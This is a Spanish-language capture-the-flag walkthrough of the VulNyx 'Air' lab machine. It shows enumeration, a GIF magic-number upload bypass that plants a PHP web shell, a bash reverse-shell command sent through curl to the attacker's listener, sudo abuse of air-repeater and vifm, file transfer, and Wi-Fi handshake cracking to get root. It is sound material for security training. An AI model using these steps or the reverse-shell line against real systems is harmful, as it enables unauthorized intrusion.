VulNyx - Air
- Insecure File Upload - Magic Number
- Abuse air-repeater Binary - sudo
- Abuse vifm Binary - sudo
- Cracking Handshake - Privesc
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.19
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Escaneo de servicios
❯ nmap -sVC -v -p 22,80,8080 192.168.1.19
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
| 256 0e:95:f2:88:f3:0f:ca:38:ec:da:3c:c0:cd:19:20:41 (ECDSA)
|_ 256 53:21:e1:34:a6:f0:70:2b:87:e7:cf:3d:6b:85:9d:64 (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Welcome to nginx!
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.22.1
8080/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://air.nyx:8080/
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
Al realizar fuerza bruta de directorios y extensiones encuentro el archivo note.txt
y el directorio files.
❯ gobuster dir -u 192.168.1.19 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.19
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/files (Status: 301) [Size: 169] [--> http://192.168.1.19/files/]
/robots.txt (Status: 200) [Size: 23]
/note.txt (Status: 200) [Size: 32]
Archivo note.txt
.
You won't find anything here...
Sigo con la enumeración dentro del directorio files, encuentro el archivo file.txt
y el directorio key.
❯ gobuster dir -u 192.168.1.19/files -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.19/files
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/file.txt (Status: 200) [Size: 39]
/key (Status: 301) [Size: 169] [--> http://192.168.1.19/files/key/]
Archivo file.txt
.
You won't find anything here either...
HTTP TCP 8080
Al visitar el puerto 8080 veo que me redirige al dominio air.nyx:8080
.
Añado el dominio a mi archivo hosts y refresco la página.
En upload veo una herramienta para subir archivos.
Si intento subir un archivo PHP me muestra el siguiente mensaje.
Intercepto la petición con burpsuite.
Mando la petición al repeater, le añado el magic number de un archivo GIF para saltarme la restricción.
En response verifico que la shell.php
se ha subido correctamente.
Para saber donde ha subido el archivo realizo fuerza bruta de directorios.
❯ gobuster dir -u http://air.nyx:8080 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://air.nyx:8080
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 169] [--> http://air.nyx:8080/img/]
/uploads (Status: 301) [Size: 169] [--> http://air.nyx:8080/uploads/]
/css (Status: 301) [Size: 169] [--> http://air.nyx:8080/css/]
/fonts (Status: 301) [Size: 169] [--> http://air.nyx:8080/fonts/]
Con curl compruebo que tengo ejecución remota de comandos.
Me lanzo una shell para tener acceso al sistema.
❯ curl -s "http://air.nyx:8080/uploads/shell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.17%2F443%200%3E%261%22"
Obtengo la shell.
❯ nc -lvp 443
listening on [any] 443 ...
connect to [192.168.1.17] from air.nyx [192.168.1.19] 51980
bash: cannot set terminal process group (433): Inappropriate ioctl for device
bash: no job control in this shell
www-data@air:~/air/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Después de realizar el tratamiento para la tty enumero permisos de sudo.
Navego al directorio /opt
, lanzo air_repeater
y me pide una contraseña que no tengo.
Con strings veo que al poner una contraseña correcta lanza el comando /bin/bash
.
Con find busco archivos que tienen como propietario al usuario www-data
.
Me voy al directorio /var/www/html/2023_router_backup
y descomprimo backup-OpenWrt.tar.gz
.
tar -xzvf backup-OpenWrt.tar.gz
Al descomprimir veo dos directorios /etc
y /boot
.
Dentro de /etc/config
hay el archivo wireless, en su interior encuentro lo siguiente.
Lanzo el binario air-repeater
como usuario sam, pongo la contraseña y paso de www-data a sam.
Enumero de nuevo permisos de sudo.
Lanzo el binario como usuario xiao.
sam@air:~$ sudo -u xiao /usr/bin/vifm
Se abre una ventana del explorador vifm y abajo a la izquierda escribo :help
.
Después de darle al enter me muestra esta ventana y sigo las instrucciones.
Al darle al enter se abre esta ventana del editor vim.
Escribo :!/bin/bash
.
Y paso de sam a xiao.
Con find busco archivos que tienen como propietario al usuario xiao.
Me voy al directorio /var/backups/
y copio Air-Master.zip
al directorio /tmp
.
xiao@air:/var/backups$ cp Air-Master.zip /tmp
xiao@air:/var/backups$ cd /tmp
Con python creo un servidor http para descargarme el archivo.zip a mi máquina.
xiao@air:/tmp$ python3 -m http.server 8089
Serving HTTP on 0.0.0.0 port 8089 (http://0.0.0.0:8089/) ...
Keyboard interrupt received, exiting.
Desde mi máquina uso wget para descargarme el fichero.
❯ wget 192.168.1.19:8089/Air-Master.zip
Con aircrack-ng
veo que el archivo Air-Master-01.ivs
es un handshake de un punto de acceso wifi.
Realizo fuerza bruta y obtengo la contraseña.
Consigo el root usando la contraseña que he obtenido del handshake.
Y aquí termina la máquina Air.
Saludos!